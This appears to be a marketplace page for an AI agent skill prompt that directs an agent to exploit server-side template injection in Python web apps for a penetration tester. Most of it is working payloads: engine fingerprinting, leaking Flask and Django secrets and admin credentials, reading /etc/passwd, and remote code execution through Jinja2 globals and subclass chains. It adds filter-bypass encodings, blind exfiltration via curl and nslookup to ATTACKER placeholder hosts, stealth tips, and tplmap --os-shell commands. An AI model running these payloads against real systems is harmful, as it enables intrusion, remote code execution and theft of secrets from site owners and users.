ad-acl-abuse
FreeYou are helping a penetration tester exploit misconfigured Active Directory
The English summary is being prepared. Showing the original description.
You are helping a penetration tester exploit server-side template injection in a
The English summary is being prepared. Showing the original description.
See how to installReview the instructions the agent will receive before you install.
You are helping a penetration tester exploit server-side template injection in a Python application. The target uses Jinja2 (Flask), Mako, Tornado, or Django templates and processes attacker-controlled input through the template engine without proper sanitization. The goal is to escalate from template expression evaluation to remote code execution, file access, or secret extraction. All testing is under explicit written authorization.
Check for ./engagement/ directory. If absent, proceed without logging.
When an engagement directory exists:
[ssti-jinja2] Activated → <target> to the screen on activation.engagement/evidence/ with
descriptive filenames (e.g., sqli-users-dump.txt, ssrf-aws-creds.json).Call get_state_summary() from the state MCP server to read current
engagement state. Use it to:
Your return summary must include:
{{7*7}} returns 49{{7*'7'}} returns 7777777, the engine is Jinja2. If it returns 49,
route to ssti-twig.${7*7} works but {{7*7}} does not, check for Mako (${ } syntax).{% import os %}{{os.system('id')}} works directly, the engine is Tornado.If not already provided, determine:
_, ., [], |, {{ filtered?Skip if context was already provided.
{{7*7}} # 49
{{7*'7'}} # 7777777 (string repetition = Jinja2)
{{config}} # Flask config object (SECRET_KEY, DB credentials)
{{request}} # Flask request object
${7*7} # 49 (uses ${ } syntax)
<%import os%>${os.popen('id').read()} # Direct Python execution
{{7*7}} # 49
{%import os%}{{os.system('id')}} # Direct import
{{7*7}} # Error (Django doesn't evaluate expressions)
{% csrf_token %} # Works in Django, errors in Jinja2
{% debug %} # Dumps context variables
{{ messages.storages.0.signer.key }} # Leaks SECRET_KEY
{{ config.items() }}
{{ config['SECRET_KEY'] }}
{{ config['SQLALCHEMY_DATABASE_URI'] }}
{% debug %}
{{ self.__dict__ }}
{{ request.environ }}
{{ request.application.__self__._get_data_for_json.__globals__ }}
{{ get_flashed_messages.__globals__.__builtins__.open("/etc/passwd").read() }}
{{ lipsum.__globals__["os"].popen('id').read() }}
These work in any Jinja2 template — no Flask-specific objects required:
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ joiner.__init__.__globals__.os.popen('id').read() }}
{{ namespace.__init__.__globals__.os.popen('id').read() }}
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}
# Find subprocess.Popen index
{{ ''.__class__.__mro__[1].__subclasses__() }}
# Execute (index 396 is an example — varies per environment)
{{ ''.__class__.mro()[1].__subclasses__()[396]('id',shell=True,stdout=-1).communicate()[0].strip() }}
{% for x in ().__class__.__base__.__subclasses__() %}
{% if "warning" in x.__name__ %}
{{ x()._module.__builtins__['__import__']('os').popen('id').read() }}
{% endif %}
{% endfor %}
?input=id){% for x in ().__class__.__base__.__subclasses__() %}
{% if "warning" in x.__name__ %}
{{ x()._module.__builtins__['__import__']('os').popen(request.args.input).read() }}
{% endif %}
{% endfor %}
{{ x.__init__.__builtins__.exec("from flask import current_app, after_this_request
@after_this_request
def hook(*args, **kwargs):
from flask import make_response
r = make_response('Powned')
return r
") }}
Direct Python execution — no sandbox to escape:
<%import os%>${os.popen('id').read()}
# Context-free (shorter)
${self.module.cache.util.os.popen('id').read()}
${self.module.runtime.util.os.popen('id').read()}
{% import os %}{{ os.popen('id').read() }}
Impact is usually limited to information disclosure:
{% debug %} # Dump context
{{ messages.storages.0.signer.key }} # SECRET_KEY
{% load log %}{% get_admin_log 10 as log %}{% for e in log %}
{{ e.user.get_username }} : {{ e.user.password }}
{% endfor %} # Admin credentials
_) Blocked{{ request|attr('\x5f\x5fclass\x5f\x5f') }}
{{ request|attr(["_"*2,"class","_"*2]|join) }}
.) Blocked{{ request['__class__']['__mro__'][1] }}
{{ request|attr('__class__')|attr('__mro__')|last }}
[]) Blocked{{ request|attr(request.args.getlist(request.args.l)|join) }}
# URL: ?l=a&a=_&a=_&a=class&a=_&a=_
Use request parameters or hex escapes:
{{ request|attr(request.args.a) }} # ?a=__class__
._|[]){{ request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')() }}
{{ }} (use {% %} blocks){%with a=request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()%}{%print(a)%}{%endwith%}
When output is not directly visible:
{{ cycler.__init__.__globals__.__builtins__.getattr("", "x" + cycler.__init__.__globals__.os.popen('id').read()) }}
{{ 1 / (cycler.__init__.__globals__.os.popen("id")._proc.wait() == 0) }}
{{ cycler.__init__.__globals__.os.popen('sleep 5').read() }}
{{ cycler.__init__.__globals__.os.popen('curl https://ATTACKER/?data=$(id|base64)').read() }}
{{ cycler.__init__.__globals__.os.popen('nslookup $(id|base64).ATTACKER.oastify.com').read() }}
os.popen() and subprocess.Popen() create process artifactslipsum or cycler payloads (shorter, less suspicious) over MRO chainsautoescape=True — try |safe filter[396]) varies per Python version — use the warning
loop instead of hardcoding indicescycler, lipsum)\x5f\x5f instead of __|attr() instead of dot notationrequest.args.cmd)python -m fenjing crack --url URL --method GET --inputs name# SSTImap — automatic SSTI detection and exploitation
python3 sstimap.py -u 'https://TARGET/page?name=test' -s
# tplmap — older but still useful
python2.7 tplmap.py -u 'https://TARGET/page?name=test*' --os-shell
# TInjA — polyglot-based SSTI scanner
tinja url -u "https://TARGET/page?name=test"
# Fenjing — Jinja2 filter bypass specialist (CTF-focused)
python -m fenjing crack --url 'https://TARGET/' --method GET --inputs name
No reviews yet. Tell others what you thought.
No login needed. Share how it worked for you, ask a question, or note where it did not run.
No comments yet. Be the first to write one.
You are helping a penetration tester exploit misconfigured Active Directory
The English summary is being prepared. Showing the original description.
You are helping a penetration tester enumerate an Active Directory domain and
The English summary is being prepared. Showing the original description.
You are helping a penetration tester establish persistent access in Active
The English summary is being prepared. Showing the original description.
You are helping a penetration tester exploit ADCS through template/CA access
The English summary is being prepared. Showing the original description.
You are helping a penetration tester establish persistence through AD CS
The English summary is being prepared. Showing the original description.
You are helping a penetration tester exploit misconfigured AD CS certificate
The English summary is being prepared. Showing the original description.